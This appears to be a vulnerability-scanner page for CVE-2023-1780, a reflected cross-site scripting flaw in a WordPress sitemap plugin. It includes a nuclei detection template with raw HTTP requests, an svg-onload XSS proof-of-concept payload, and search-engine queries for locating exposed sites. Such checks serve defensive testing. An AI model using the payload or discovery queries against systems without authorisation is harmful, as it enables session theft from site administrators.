Companion Sitemap Generator < 4.5.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1%likelihood of exploitation, next 30 days

63%of all CVEs are less likely

Readycheck to confirm it

The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Impact

Unauthenticated attackers can inject malicious JavaScript through the tabbed parameter in sitemap generator pages to steal session cookies from high-privilege users including WordPress administrators.

Fix

Fixed in version 4.5.3

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/tools.php?page=csg-sitemap&tabbed=%3Csvg%2Fonload%3Dalert(document.domain)%3E
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "re not allowed to view") and contains(body_2, "<svg/onload=alert(document.domain)>")

Run it with nuclei: nuclei -id CVE-2023-1780 -u <target>

The full check

id: CVE-2023-1780

info:
  name: Companion Sitemap Generator < 4.5.3 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the tabbed parameter in sitemap generator pages to steal session cookies from high-privilege users including WordPress administrators.
  remediation: Fixed in version 4.5.3
  reference:
    - https://wpscan.com/vulnerability/8176308f-f210-4109-9c88-9372415dbed3
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1780
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1780
    cwe-id: CWE-79
    epss-score: 0.00998
    epss-percentile: 0.63037
    cpe: cpe:2.3:a:codeermeneer:companion_sitemap_generator:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: codeermeneer
    product: companion_sitemap_generator
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/companion-sitemap-generator/
    fofa-query: body=/wp-content/plugins/companion-sitemap-generator/
    publicwww-query: "/wp-content/plugins/companion-sitemap-generator/"
  tags: cve,cve2023,wpscan,wp,wordpress,wp-scan,xss,authenticated,codeermeneer,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/tools.php?page=csg-sitemap&tabbed=%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "re not allowed to view")'
          - 'contains(body_2, "<svg/onload=alert(document.domain)>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from